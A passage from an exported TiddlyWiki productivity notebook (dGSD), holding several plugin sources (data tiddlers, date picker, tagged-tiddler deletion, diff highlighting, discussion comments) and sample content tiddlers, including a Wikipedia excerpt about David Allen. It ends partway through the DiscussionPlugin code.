In case that you want to use the text {{{<data>}}} or {{{</data>}}} in a tiddler text you must prefix the text with a tilde ('~'). Otherwise it may be wrongly considered as the data section. The tiddler text {{{~<data>}}} is displayed as {{{<data>}}}.


''The showData Macro''

By default the data of a tiddler (that is stored in the {{{<data>...</data>}}} section of the tiddler) is not displayed. If you want to display this data you may used the {{{<<showData ...>>}}} macro:

''Syntax:'' 
|>|{{{<<}}}''showData '' [''JSON''] [//tiddlerName//] {{{>>}}}|
|''JSON''|By default the data is rendered as a table with a "Name" and "Value" column. When defining ''JSON'' the data is rendered in JSON format|
|//tiddlerName//|Defines the tiddler holding the data to be displayed. When no tiddler is given the tiddler containing the showData macro is used. When the tiddler name contains spaces you must quote the name (or use the {{{[[...]]}}} syntax.)|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|
!Source Code
***/
/***
This plugin's source code is compressed (and hidden). 
Use this [[link|http://tiddlywiki.abego-software.de/archive/DataTiddlerPlugin/1.0.7/DataTiddlerPlugin-1.0.7-src.js]] to get the readable source code.
***/
///%
if(!version.extensions.DataTiddlerPlugin){version.extensions.DataTiddlerPlugin={major:1,minor:0,revision:7,date:new Date(2012,3,19),type:"plugin",source:"http://tiddlywiki.abego-software.de/#DataTiddlerPlugin"};if(!window.story){window.story=window}if(!TiddlyWiki.prototype.getTiddler){TiddlyWiki.prototype.getTiddler=function(b){var a=this.tiddlers[b];return(a!==undefined&&a instanceof Tiddler)?a:null}}function DataTiddler(){}DataTiddler={stringify:null,parse:null};window.DataTiddler=DataTiddler;DataTiddler.getData=function(c,d,a){var b=(typeof c=="string")?store.getTiddler(c):c;if(!(b instanceof Tiddler)){throw"Tiddler expected. Got "+c}return DataTiddler.getTiddlerDataValue(b,d,a)};DataTiddler.setData=function(c,e,d,a){var b=(typeof c=="string")?store.getTiddler(c):c;if(!(b instanceof Tiddler)){throw"Tiddler expected. Got "+c+"("+b+")"}DataTiddler.setTiddlerDataValue(b,e,d,a)};DataTiddler.getDataObject=function(b){var a=(typeof b=="string")?store.getTiddler(b):b;if(!(a instanceof Tiddler)){throw"Tiddler expected. Got "+b}return DataTiddler.getTiddlerDataObject(a)};DataTiddler.getDataText=function(b){var a=(typeof b=="string")?store.getTiddler(b):b;if(!(a instanceof Tiddler)){throw"Tiddler expected. Got "+b}return DataTiddler.readDataSectionText(a)};DataTiddler.extendJSONError=function(a){if(a.name=="JSONError"){a.toString=function(){return a.name+": "+a.message+" ("+a.text+")"}}return a};DataTiddler.getTiddlerDataObject=function(a){if(a.dataObject===undefined){var b=DataTiddler.readData(a);a.dataObject=(b)?b:{}}return a.dataObject};DataTiddler.getTiddlerDataValue=function(b,d,a){var c=DataTiddler.getTiddlerDataObject(b)[d];return(c===undefined)?a:c};DataTiddler.setTiddlerDataValue=function(c,f,e,a){var d=DataTiddler.getTiddlerDataObject(c);var b=d[f];if(e==a){if(b!==undefined){delete d[f];DataTiddler.save(c)}return}d[f]=e;DataTiddler.save(c)};DataTiddler.readDataSectionText=function(a){var b=DataTiddler.getDataTiddlerMatches(a);if(b===null||!b[2]){return null}return b[2]};DataTiddler.readData=function(b){var c=DataTiddler.readDataSectionText(b);try{return c?DataTiddler.parse(c):null}catch(a){throw DataTiddler.extendJSONError(a)}};DataTiddler.getDataTextOfTiddler=function(a){var b=DataTiddler.getTiddlerDataObject(a);return DataTiddler.stringify(b)};DataTiddler.indexOfNonEscapedText=function(c,a,d){var b=c.indexOf(a,d);while((b>0)&&(c[b-1]=="~")){b=c.indexOf(a,b+1)}return b};DataTiddler.getDataSectionInfo=function(e){var a="<data>{";var f="}</data>";var d=DataTiddler.indexOfNonEscapedText(e,a,0);if(d<0){return null}var c=e.indexOf(f,d);if(c<0){return null}var b;while((b=e.indexOf(f,c+1))>=0){c=b}return{prefixEnd:d,dataStart:d+(a.length)-1,dataEnd:c,suffixStart:c+(f.length)}};DataTiddler.getDataTiddlerMatches=function(a){var f=a.text;var e=DataTiddler.getDataSectionInfo(f);if(!e){return null}var c=f.substr(0,e.prefixEnd);var b=f.substr(e.dataStart,e.dataEnd-e.dataStart+1);var d=f.substr(e.suffixStart);return[f,c,b,d]};DataTiddler.save=function(a){var e=DataTiddler.getDataTiddlerMatches(a);var d;var f;if(e===null){d=a.text;f=""}else{d=e[1];f=e[3]}var b=DataTiddler.getDataTextOfTiddler(a);var c=(b!==null)?d+"<data>"+b+"</data>"+f:d+f;if(c!=a.text){a.isDataTiddlerChange=true;a.set(a.title,c,config.options.txtUserName,config.options.chkForceMinorUpdate?undefined:new Date(),a.tags);delete a.isDataTiddlerChange;store.dirty=true;if(config.options.chkAutoSave){saveChanges()}}};DataTiddler.MyTiddlerChangedFunction=function(){if(this.dataObject&&!this.isDataTiddlerChange){delete this.dataObject}DataTiddler.originalTiddlerChangedFunction.apply(this,arguments)};config.formatters.push({name:"data-escape",match:"~<\\/?data>",handler:function(a){a.outputText(a.output,a.matchStart+1,a.nextMatch)}});config.formatters.push({name:"data",match:"<data>",handler:function(a){var b=DataTiddler.getDataSectionInfo(a.source);if(b&&b.prefixEnd==a.matchStart){a.nextMatch=b.suffixStart}else{a.outputText(a.output,a.matchStart,a.nextMatch)}}});DataTiddler.originalTiddlerChangedFunction=Tiddler.prototype.changed;Tiddler.prototype.changed=DataTiddler.MyTiddlerChangedFunction;Tiddler.prototype.data=function(b,a){return(b)?DataTiddler.getTiddlerDataValue(this,b,a):DataTiddler.getTiddlerDataObject(this)};Tiddler.prototype.setData=function(c,b,a){DataTiddler.setTiddlerDataValue(this,c,b,a)};config.macros.showData={label:"showData",prompt:"Display the values stored in the data section of the tiddler"};config.macros.showData.handler=function(a,g,h){var c=0;var d=false;if((c<h.length)&&h[c]=="JSON"){c++;d=true}var b=story.findContainingTiddler(a).getAttribute("tiddler");if(c<h.length){b=h[c];c++}try{if(d){this.renderDataInJSONFormat(a,b)}else{this.renderDataAsTable(a,b)}}catch(f){this.createErrorElement(a,f)}};config.macros.showData.renderDataInJSONFormat=function(a,b){var c=DataTiddler.getDataText(b);if(c){createTiddlyElement(a,"pre",null,null,c)}};config.macros.showData.renderDataAsTable=function(a,b){var f="|!Name|!Value|\n";var e=DataTiddler.getDataObject(b);if(e){for(var c in e){var d=e[c];f+="|"+c+"|"+DataTiddler.stringify(d)+"|\n"}}wikify(f,a)};config.macros.showData.createErrorElement=function(a,b){var c=(b.description)?b.description:b.toString();return createTiddlyElement(a,"span",null,"showDataError","<<showData ...>>: "+c)};setStylesheet(".showDataError{color: #ffffff;background-color: #880000;}","showData")}var JSON={copyright:"(c)2005 JSON.org",license:"http://www.crockford.com/JSON/license.html",stringify:function(c){var b=[];function f(a){b[b.length]=a}function d(a){var j,h=undefined,e,g;switch(typeof a){case"object":if(a){if(a instanceof Array){f("[");e=b.length;for(h=0;h<a.length;h+=1){g=a[h];if(typeof g!="undefined"&&typeof g!="function"){if(e<b.length){f(",")}d(g)}}f("]");return}else{if(typeof a.toString!="undefined"){f("{");e=b.length;for(h in a){g=a[h];if(a.hasOwnProperty(h)&&typeof g!="undefined"&&typeof g!="function"){if(e<b.length){f(",")}d(h);f(":");d(g)}}return f("}")}}}f("null");return;case"number":f(isFinite(a)?+a:"null");return;case"string":e=a.length;f('"');for(h=0;h<e;h+=1){j=a.charAt(h);if(j>=" "){if(j=="\\"||j=='"'){f("\\")}f(j)}else{switch(j){case"\b":f("\\b");break;case"\f":f("\\f");break;case"\n":f("\\n");break;case"\r":f("\\r");break;case"\t":f("\\t");break;default:j=j.charCodeAt();f("\\u00"+Math.floor(j/16).toString(16)+(j%16).toString(16))}}}f('"');return;case"boolean":f(String(a));return;default:f("null");return}}d(c);return b.join("")},parse:function(text){var p=/^\s*(([,:{}\[\]])|"(\\.|[^\x00-\x1f"\\])*"|-?\d+(\.\d*)?([eE][+-]?\d+)?|true|false|null)\s*/,token=undefined,operator=undefined;function error(m,t){throw {name:"JSONError",message:m,text:t||operator||token}}function next(b){if(b&&b!=operator){error("Expected '"+b+"'")}if(text){var t=p.exec(text);if(t){if(t[2]){token=null;operator=t[2]}else{operator=null;try{token=eval(t[1])}catch(e){error("Bad token",t[1])}}text=text.substring(t[0].length)}else{error("Unrecognized token",text)}}else{token=operator=undefined}}function val(){var k,o;switch(operator){case"{":next("{");o={};if(operator!="}"){for(;;){if(operator||typeof token!="string"){error("Missing key")}k=token;next();next(":");o[k]=val();if(operator!=","){break}next(",")}}next("}");return o;case"[":next("[");o=[];if(operator!="]"){for(;;){o.push(val());if(operator!=","){break}next(",")}}next("]");return o;default:if(operator!==null){error("Missing value")}k=token;next();return k}}next();return val()}};DataTiddler.format="JSON";DataTiddler.stringify=JSON.stringify;DataTiddler.parse=JSON.parse;
//%/
/***
|''Name:''|DateFormatString|
|''Version:''||
|''Source:''|[[AiddlyWiki|http://aiddlywiki.sourceforge.net]]|
|''Author:''|[[Arphen Lin|mailto:arphenlin@gmail.com]]|
|''Type:''|WikiBar addon|
|''Required:''|WikiBar 2.0.0+|
!Description
Add date format string syntax.
!Installation
#Install WikiBar firstly.
#Create your addon as a tiddler and add 'wikibarAddons' tag.
!Code
***/
//{{{

//----------------------------------------------------------------------------
// addon install function: this is a must
//----------------------------------------------------------------------------
function wikibar_addonInstall(unused)
{
  // define tools
  var dateFormatString={
    TYPE:'MENU',
    CAPTION: 'date format string',
    TOOLTIP: 'often used with \"today\" macro',
    YYYY:
    {
      TOOLTIP:    'full year',
      syntax: 'YYYY',
      HANDLER: wikibar_editFormatByCursor
    },
    YY:
    {
      TOOLTIP:    '2-digit year',
      syntax: 'YY',
      HANDLER: wikibar_editFormatByCursor
    },
    MMM:
    {
      TOOLTIP:    'month name',
      syntax: 'MMM',
      HANDLER: wikibar_editFormatByCursor
    },
    MM:
    {
      TOOLTIP:    'month',
      syntax: 'MM',
      HANDLER: wikibar_editFormatByCursor
    },
    OMM:
    {
      TOOLTIP:    'zero-leading month',
      syntax: '0MM',
      HANDLER: wikibar_editFormatByCursor
    },
    DDD:
    {
      TOOLTIP:    'week day',
      syntax: 'DDD',
      HANDLER: wikibar_editFormatByCursor
    },
    DD:
    {
      TOOLTIP:    'day',
      syntax: 'DD',
      HANDLER: wikibar_editFormatByCursor
    },
    '0DD':
    {
      TOOLTIP:    'zero-leading day',
      syntax: '0DD',
      HANDLER: wikibar_editFormatByCursor
    },
    DDth:
    {
      TOOLTIP:    'day with trailing (English) suffix',
      syntax: 'DDth',
      HANDLER: wikibar_editFormatByCursor
    },
    hh:
    {
      TOOLTIP:    'hour',
      syntax: 'hh',
      HANDLER: wikibar_editFormatByCursor
    },
    '0hh':
    {
      TOOLTIP:    'zero-leading hour',
      syntax: '0hh',
      HANDLER: wikibar_editFormatByCursor
    },
    mm:
    {
      TOOLTIP:    'minute',
      syntax: 'mm',
      HANDLER: wikibar_editFormatByCursor
    },
    '0mm':
    {
      TOOLTIP:    'zero-leading minute',
      syntax: '0mm',
      HANDLER: wikibar_editFormatByCursor
    },
    ss:
    {
      TOOLTIP:    'second',
      syntax: 'ss',
      HANDLER: wikibar_editFormatByCursor
    },
    '0ss':
    {
      TOOLTIP:    'zero-leading second',
      syntax: '0ss',
      HANDLER: wikibar_editFormatByCursor
    }
  };

  // register tools
  wikibarStore.addon.dateFormatString = dateFormatString;
}

// for debugging: you can turn it off in final release ----------------------
wikibar_addonInstall();


//}}}
This is an over-write for an older version of DatePickerPlugin that may cause conflicts. It can be deleted.
/***
|''Name:''|DatePickerLibrary|
|''Description:''|DatePicker library for use with macros|
|''Author:''|Saq Imtiaz ( lewcid@gmail.com )|
|''Code Repository:''|http://svn.tiddlywiki.org/Trunk/contributors/SaqImtiaz/libraries/DatePicker.js|
|''Version:''|0.9|
|''Date:''|06/04/2007|
|''License:''|[[Creative Commons Attribution-ShareAlike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''~CoreVersion:''|2.3.0|
***/

//
//!BEGIN-PLUGIN-CODE
//{{{
function $id(n) {
	return document.getElementById(n);
}

DatePicker = {

	days    : ['S','M','T','W','T','F','S'],
	daysMon : ['M','T','W','T','F','S','S'],

	cells : new Array(42),

	setup : function(){
		var cte = createTiddlyElement;
		var table = this.table = cte(null,"table","datePickerTable");
		table.style.display = 'none';
        document.body.appendChild(table);
		var thead = cte(table,"thead");
		var hRow = cte(thead,"tr");
		hRow.onclick = stopEvent;
		cte(hRow,"td",null,"datePickerNav","<<").onclick = DatePicker.prevm;
		cte(hRow,"td","datePickerMNS",null,null,{colSpan:"5"});
		cte(hRow,"td",null,"datePickerNav",">>",{align:"right"}).onclick=DatePicker.nextm;

		var tbody = cte(table,"tbody","datePickerTableBody");
		var dayRow = cte(tbody,"tr",null,"datePickerDaysHeader");

		for (var i=0; i<this.days.length; i++){
			cte(dayRow,"td",null,null,this.days[i]);
		}
	},

	show : function(el,dateObj,cb) {
		var me = DatePicker;
		var now = me.now = new Date();
		if (!dateObj)
			dateObj = now;
		me.root = el;
		if (cb)
			me.root.datePickerCallback = cb;
		me.scc = { m : now.getMonth(), y : now.getFullYear(), d : now.getDate() };

		Popup.place(el,me.table,{x:0,y:1});


		var cur = [dateObj.getDate(),dateObj.getMonth()+1,dateObj.getFullYear()];

		me.cc = { m : cur[1]-1, y : cur[2] };
		me.sd = { m : cur[1]-1, y : cur[2], d : cur[0] };
		me.fillCalendar(cur[0],me.scc.d,cur[1]-1,cur[2]);
	},

	fillCalendar : function(hd,today,cm,cy) {
		var me = DatePicker;

		var monStart = config.mGTD.getOptChk('WeekStartsMonday');

		var sd = me.now.getDate();
		var td = new Date(cy,cm,1)
		var cd = td.getDay();

		$id('datePickerMNS').innerHTML = td.formatString('MMM YYYY')

		var tbody = $id('datePickerTableBody');
		removeChildren(tbody);
		var dowRow = createTiddlyElement(tbody,"tr",null,"datePickerDowRow");

		for (var d=0;d<=7;d++) {
			// dow headings
			createTiddlyElement(dowRow,"td",null,null,DatePicker[monStart?'daysMon':'days'][d]);
		}

		var days = (new Date(cy, cm+1, 0)).getDate();
		var day = 1;
		for (var j=1;j<=6;j++) { //rows
			var row = createTiddlyElement(tbody,"tr",null,"datePickerDayRow");
			for (var t=1; t<=7; t++) { //cells
				var d = 7 * (j-1) - (-t) + (monStart ? 1 : 0); //id key
				var is_this_month = ((d >= (cd -(-1))) && (d<=cd-(-(days))));
				var dip = ( ((d-cd < sd) && (cm == me.scc.m) && (cy == me.scc.y)) || (cm < me.scc.m && cy == me.scc.y) || (cy < me.scc.y) );
				var htd = ( (hd != '') && (d-cd == hd) );
				var hToday = ( (today != '') && (d-cd == today) && cy == me.scc.y && cm == me.scc.m );
				if (htd)
					_class = 'highlightedDate';
				else if (dip)
					_class = 'oldDate';
				else if (hToday && ! htd)
					_class = 'todayDate';
				else
					_class = 'defaultDate';
				if ((monStart && (t==6||t==7)) || (!monStart && (t == 1 || t == 7))) {
					// weekend
					_class += ' weekend';
				}
				if (!is_this_month) {
					_class += ' otherMonth';
				}
				var cell = createTiddlyElement(row,"td","datePickerDay"+d,_class,(new Date(cy,cm,d-cd)).getDate());
				cell.onmouseover = function(e){addClass(this,'tdover');};
				cell.onmouseout = function(e){removeClass(this,'tdover');};
				cell.onclick = me.selectDate;
				me.cells[d] = new Date(cy,cm,d-cd);
				day++;
			}
			if(day > days + cd)
				break;
		}
	},

	nextm : function() {
		var me = DatePicker;
		me.cc.m += 1;
		if (me.cc.m >= 12) {
			me.cc.m = 0;
			me.cc.y++;
		}
		me.fillCalendar(me.getDayStatus(me.cc.m,me.cc.y),me.scc.d,me.cc.m,me.cc.y);
		return false;
	},

	prevm : function() {
		var me = DatePicker;
		me.cc.m -= 1;
		if (me.cc.m < 0) {
			me.cc.m = 11;
			me.cc.y--;
		}
		me.fillCalendar(me.getDayStatus(me.cc.m,me.cc.y),me.scc.d,me.cc.m,me.cc.y);
		return false;
	},

	getDayStatus : function(ccm,ccy){
		return (ccy == this.sd.y && ccm == this.sd.m)? this.sd.d : '';
	},

	selectDate : function(ev){
		var e = ev ? ev : window.event;
		var me = DatePicker;
		var date = me.cells[resolveTarget(e).id.substring(13,resolveTarget(e).id.length)];
		if (me.root.datePickerCallback && typeof me.root.datePickerCallback == 'function')
			me.root.datePickerCallback(me.root,date);
		$id('datePickerTable').style.display = 'none';
		return false;
	},

	onclick : function(ev){
		$id("datePickerTable").style.display = 'none';
		return false;
	},

	create : function(el,dateObj,cb){
		el.onclick = el.onfocus = function(e){DatePicker.show(el,dateObj,cb);stopEvent(e)};
	},

	css: "table#datePickerTable td.datePickerNav {\n"+
		"    cursor:pointer;\n"+
		"}\n"+
		"\n"+
		".datePickerDaysHeader td {\n"+
		"    text-align:center;\n"+
		"    background:#ABABAB;\n"+
		"    font:12px Arial;\n"+
		"}\n"+
		"\n"+
		".datePickerDayRow td {\n"+
		"    width:18px;\n"+
		"    height:18px;\n"+
		"}\n"+
		"\n"+
		"td#datePickerMNS, td.datePickerNav {\n"+
		"    font:bold 13px Arial;\n"+
		"}\n"+
		"\n"+
		"table#datePickerTable {\n"+
		"    position:absolute;\n"+
		"    border-collapse:collapse;\n"+
		"    background:#FFFFFF;\n"+
		"    border:1px solid #ABABAB;\n"+
		"    display:none;   \n"+
		"}\n"+
		"\n"+
		"table#datePickerTable td{\n"+
		"    padding: 3px;\n"+
		"}\n"+
		"\n"+
		"td#datePickerMNS {\n"+
		"    text-align: center;\n"+
		"}\n"+
		"\n"+
		"tr.datePickerDayRow td {\n"+
		"    background-color : #C4D3EA;\n"+
		"    cursor : pointer;\n"+
		"    border : 1px solid #6487AE;\n"+
		"    text-align : center;\n"+
		"	font : 10px Arial;\n"+
		"}\n"+
		"\n"+
		"tr.datePickerDayRow td.defaultDate {\n"+
		"	color : #333333;	\n"+
		"	text-decoration : none;   \n"+
		"}\n"+
		"\n"+
		"tr.datePickerDayRow td.emptyDate {\n"+
		"    cursor:default; \n"+
		"}\n"+
		"\n"+
		"tr.datePickerDayRow td.oldDate {\n"+
		"	color : #ABABAB;\n"+
		"    text-decoration : line-through;\n"+
		"}\n"+
		"tr.datePickerDayRow td.highlightedDate {\n"+
		"    background : #FFF799;\n"+
		"	font-weight : bold;\n"+
		"	color : #333333;\n"+
		"}\n"+
		"\n"+
		"tr.datePickerDayRow td.todayDate {\n"+
		"	font-weight : bold;\n"+
		"	color : red;\n"+
		"}\n"+
		"\n"+
		"table#datePickerTable tr.datePickerDayRow td.tdover {\n"+
		"    background:#fc6;\n"+
		"}",

	init : function(){
		this.setup();
		addEvent(document,'click',DatePicker.onclick);
		config.shadowTiddlers['StyleSheetDatePicker'] = this.css;
		if(store)
			store.addNotification('StyleSheetDatePicker',refreshStyles);
	}
};

DatePicker.init();
//}}}
//!END-PLUGIN-CODE
// 
This is an over-write for an older version of DatePickerPlugin that may cause conflicts. It can be deleted.
//A note about the author, from Wikipedia://
<<<
David Allen (born December 28, 1945) is a productivity consultant who is best known as the creator of the time management method known as "Getting Things Done" .

He grew up in Shreveport, Louisiana where he acted and won a state championship in debate. He went to college at New College, now New College of Florida, in Sarasota, Florida, and did graduate work in American history at University of California, Berkeley.[2] His career path has included jobs as a magician, waiter, karate teacher, landscaper, vitamin distributor, glass-blowing lathe operator, travel agent, gas station manager, U-Haul dealer, moped salesman, restaurant cook,[1] personal growth trainer, manager of a lawn service company, and manager of a travel agency. He is an ordained minister with the Movement of Spiritual Inner Awareness.[3][4] He claims to have had 35 professions before age 35.[5] He began applying his perspective on productivity with businesses in the 1980s when he was awarded a contract to design a program for executives and managers at Lockheed.

He is the founder of the David Allen Company, which is focused on productivity, action management and executive coaching. His "Getting Things Done" method is part of his coaching efforts. He was also one of the founders of Actioneer, Inc., a company specializing in productivity tools for the Palm Pilot.

David Allen Company presenters, not Allen, regularly gives one-day public seminars on Allen's Getting Things Done methodology, which cost approximately $595[citation needed]. Allen himself gives public seminars only occasionally, which cost approximately $995[citation needed].

Allen has written three books, Getting Things Done: The Art of Stress-Free Productivity, which describes his productivity program, Ready for Anything: 52 Productivity Principles for Work and Life, a collection of newsletter articles he has written, and Making It All Work: Winning at the Game of Work and Business of Life, a follow-up to his first book. He lives in Ojai, California with his fourth wife, Kathryn,[1] whom he describes as his "extraordinary partner in work and life" in the dedication of Getting Things Done.
<<<
David is the author of dGSD (along with a number of important people from the TiddlyWiki and mGSD community on which it is based)<data>{"first.name":"David","last.name":"Szego","email":"david@szego.me","webpage":"http://david.szego.me","city":"Toronto","state":"ON","country":"Canada"}</data>
[[About dGSD]]
[[Example Project]]
[[Example Meeting]]
[[Send TPS Reports to the CIO]]
[[John Doe]]
[[2013/2/5 - 21:56 - Spoke with John about TPS reports]]
[[Book Library]]
[[A Book I'm Reading]]
[[Vogon Poetry]]
[[Your Name]]
[[GettingStarted]]
[[Markup Cheatsheet]]
[[About dGSD]]
[[Example Project]]
[[Example Meeting]]
[[Send TPS Reports to the CIO]]
[[John Doe]]
[[2013/2/5 - 21:56 - Spoke with John about TPS reports]]
[[Book Library]]
[[A Book I'm Reading]]
[[Vogon Poetry]]
[[Your Name]]
[[GettingStarted]]
[[Markup Cheatsheet]]
Edit this tiddler ([[DefaultTiddlers]]) to change the list of Tiddlers that show when you load this file. This gives you the ability to set a "start page" type view.

A good set to use is:
{{{
[[Me (Tasks)]]
[[Projects Dashboard by Area]]
[[Next and Waiting Actions by Context]]
[[My Journal]]
}}}
{{cols2{

  {{col{

    <<dGSDList
	title:'Delegated/Waiting For'
	startTag:Action
	tags:'[(Waiting For)] && !Done && !Trash'
	view:ActionProj
	mode:global
	where:tiddler.getByIndex("Contact").length > 0'
	group:Contact
	gView:bold
	newButtonTags:'Action [(Waiting For)]'
    >>

}}}

{{col{

    {{scroll10{
      <<dGSDList title:'Done' 
        startTag:Action 
        tags:'Done && [(Waiting For)] && !Trash' 
        view:DoneAction 
        mode:global
	where:tiddler.getByIndex('Contact').length>0
	group:Contact
	gView:bold
	newButtonTags:'Action Done [(Waiting For)]'
      >>
    }}}

}}}

}}}
This is an over-write for an older version of DeleteAllTaggedPlugin that may cause conflicts. It can be deleted.
/***
|Name|DeleteAllTaggedPlugin|
|Source|http://ido-xp.tiddlyspot.com/#DeleteAllTaggedPlugin|
|Version|1.0|

An adaptation of DeleteDoneTasks (Simon Baird) by Ido Magal
To use this insert {{{<<deleteAllTagged>>}}} into the desired tiddler.

/***
Example usage:
{{{<<deleteAllTagged>>}}}
<<deleteAllTagged>>
***/
//{{{

config.macros.deleteAllTagged = {
	handler: function ( place,macroName,params,wikifier,paramString,tiddler ) {
		var buttonTitle = "Delete Tagged w/ '"+tiddler.title+"'";
		createTiddlyButton( place, buttonTitle, "Delete every tiddler tagged with '"+tiddler.title+"'", this.deleteAllTagged( tiddler.title ));
	},

	deleteAllTagged: function(tag) {
		return function() {
			var collected = [];
			store.forEachTiddler( function ( title,tiddler ) {
				if ( tiddler.tags.contains( tag ))
				{
					collected.push( title );
				}
			});
			if ( collected.length == 0 )
			{
				alert( "No tiddlers found tagged with '"+tag+"'." );
			}
			else
			{
				if ( confirm( "These tiddlers are tagged with '"+tag+"'\n'"
						+ collected.join( "', '" ) + "'\n\n\n"
						+ "Are you sure you want to delete these?" ))
				{
					for ( var i=0;i<collected.length;i++ )
					{
						store.deleteTiddler( collected[i] );
						displayMessage( "Deleted '"+collected[i]+"'" );
					}
				}
			}
		}
	}
};

//}}}

/***
|''Name''|DiffFormatter|
|''Description''|highlighting of text comparisons|
|''Author''|FND|
|''Version''|0.9.0|
|''Status''|beta|
|''Source''|http://svn.tiddlywiki.org/Trunk/contributors/FND/formatters/DiffFormatter.js|
|''CodeRepository''|http://svn.tiddlywiki.org/Trunk/contributors/FND/|
|''License''|[[BSD|http://www.opensource.org/licenses/bsd-license.php]]|
|''Keywords''|formatting|
!Description
Highlights changes in a unified [[diff|http://en.wikipedia.org/wiki/Diff#Unified_format]].
!Notes
Based on Martin Budden's [[DiffFormatterPlugin|http://svn.tiddlywiki.org/Trunk/contributors/MartinBudden/formatters/DiffFormatterPlugin.js]].
!Usage
The formatter is applied to blocks wrapped in <html><code>{{{diff{..}}}</code></html> within tiddlers tagged with "diff".
!Revision History
!!v0.9 (2010-04-07)
* initial release; fork of DiffFormatterPlugin
!StyleSheet
.diff { white-space: pre; font-family: monospace; }
.diff ins, .diff del { display: block; text-decoration: none; }
.diff ins { background-color: #dfd; }
.diff del { background-color: #fdd; }
.diff .highlight { background-color: [[ColorPalette::SecondaryPale]]; }
!Code
***/
//{{{
(function() {

config.shadowTiddlers.StyleSheetDiffFormatter = store.getTiddlerText(tiddler.title + "##StyleSheet");
store.addNotification("StyleSheetDiffFormatter", refreshStyles);

var formatters = [{
		name: "diffWrapper",
		match: "^\\{\\{diff\\{\n", // XXX: suboptimal
		termRegExp: /(.*\}\}\})$/mg,
		handler: function(w) {
			var el = createTiddlyElement(w.output, "div", null, "diff");
			w.subWikifyTerm(el, this.termRegExp);
		}
	}, {
		name: "diffRange",
		match: "^(?:@@|[+\\-]{3}) ",
		lookaheadRegExp: /^(?:@@|[+\-]{3}) .*\n/mg,
		handler: function(w) {
			createTiddlyElement(w.output, "div", null, "highlight").
				innerHTML = "&#8230;";
			this.lookaheadRegExp.lastIndex = w.matchStart;
			var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
			if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
				w.nextMatch = this.lookaheadRegExp.lastIndex;
			}
		}
	}, {
		name: "diffAdded",
		match: "^\\+",
		termRegExp: /(\n)/mg,
		handler: function(w) {
			var el = createTiddlyElement(w.output, "ins", null, "added");
			w.subWikifyTerm(el, this.termRegExp);
		}
	}, {
		name: "diffRemoved",
		match: "^-",
		termRegExp: /(\n)/mg,
		handler: function(w) {
			var el = createTiddlyElement(w.output, "del", null, "removed");
			w.subWikifyTerm(el, this.termRegExp);
		}
	}
];

config.parsers.diffFormatter = new Formatter(formatters);
config.parsers.diffFormatter.format = "diff";
config.parsers.diffFormatter.formatTag = "diff";

})();
//}}}
We're having trouble getting the lines from the provider... Need to figure out how to escalate.
We need to figure out how to get these things from the vendor!
This should have a comments and discussion area below. Edit it to see how.

<<discussion>>
/***
|Name|DiscussionPlugin|
|Source|http://www.TiddlyTools.com/#DiscussionPlugin|
|Documentation|http://www.TiddlyTools.com/#DiscussionPluginInfo|
|Version|1.5.7|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Requires|CommentPlugin|
|Description|display tabbed discussion summary with comment input form|
!!!!!Documentation
>see [[DiscussionPluginInfo]]
!!!!!Configuration
<<<
When installed, [[DiscussionPlugin]] can automatically modify the default shadow [[ViewTemplate]] so that all tiddlers will be rendered with two tabs: "Page", and "Discussion".  The "Page" tab displays the regular tiddler content, while the "Discussion" tab displays the summary list of comments as well as an input form to enter new comments.  You can enable/disable this action by setting/clearing the following checkbox:
><<option chkDiscussionTemplate>> Automatically modify default shadow [[ViewTemplate]]
Note: //''You must reload your document for changes to this option to take effect.''//  In addition, this option is only applied to the shadow [[ViewTemplate]].  If you are using a custom [[ViewTemplate]], you will need to manually alter that template to add the Page and Discussion tab display.

''Please see [[DiscussionPluginInfo]] for additional configuration options and instructions.''
<<<
!!!!!Revisions
<<<
2009.01.04 [1.5.7] in customized ViewTemplate, corrected 'tabs' macro to avoid error when viewing shadow tiddlers
| please see [[DiscussionPluginInfo]] for previous revision details |
2008.04.15 [1.0.0] initial prototype
<<<
!!!!!Code
***/
//{{{
version.extensions.DiscussionPlugin= {major: 1, minor: 5, revision: 7, date: new Date(2009,1,4)};

if (config.options.chkDiscussionTemplate===undefined)
	config.options.chkDiscussionTemplate=false;

config.macros.discussion= {
	reverse: // display order for summary list
		false,
	listfmt: // format for summary list items
		"#<<slider [[]] [[%tiddler%]] [[%subject%]] [[posted by %who% on %when%]]>>\n",
	tags: // tags for comment tiddlers
		"excludeLists",
	slices: // slice format included in comment tiddlers - used to create summary list display
		"/%\n|subject|%subject%|\n|byline|%who%|\n|date|%when%|\n%/",
	titlefmt: // format for dynamically generating comment tiddler title
		"_%UTC%%random%", // default: append UTC timestamp and random number
	commentfmt: // format for individual comment content
		"^^posted by %who% on %when%^^\n<<<\n%message%\n<<<\n",
	datefmt: // date format for comments
		"DDD, MMM DDth, YYYY at hh12:0mm:0ss am",
	handler: function(place,macroName,params,wikifier,paramstring,tiddler) {
		var here=story.findContainingTiddler(place);
		if (here) var tid=here.getAttribute("tiddler");  // containing tiddler title
		var listfmt=(params[0]&&params[0].length)?params[0]:this.listfmt;  // item format
		var reverse=(params[1]&&params[1].toLowerCase()=="reverse"); if (reverse) params.shift();
		var tags=params[1]?params[1]:this.tags;  // target tags
		if (!tags.readBracketedList().contains("comment")) tags+=" comment"; // must be tagged with "comment"
		var commentfmt=(params[2]&&params[2].length)?params[2]:this.commentfmt; // output format
		var datefmt=(params[3]&&params[3].length)?params[3]:this.datefmt; // date format
		var tids=store.getTaggedTiddlers("comment","created");
		if (reverse||this.reverse) tids=tids.reverse();
		var out=""; var count=0;
		for (var t=0; t<tids.length; t++) if (tids[t].title!=tid && tids[t].title.substr(0,tid.length)==tid) {
			count++;
			var title=tids[t].title;
			var subject=store.getTiddlerSlice(title,"subject");
			var byline=store.getTiddlerSlice(title,"byline");
			var when=store.getTiddlerSlice(title,"date");
			out+=listfmt;
			out=out.replace(/%tiddler%/g,title);
			out=out.replace(/%subject%/g,subject);
			out=out.replace(/%who%/g,byline);
			out=out.replace(/%when%/g,when);
		}
		out="!!!There "+(count==1?"is ":"are ")+count+" comment"+(count==1?"":"s")+":\n"+out;
		var next="%tiddler%"+this.titlefmt;
		out+="!!!Add a comment:\n";
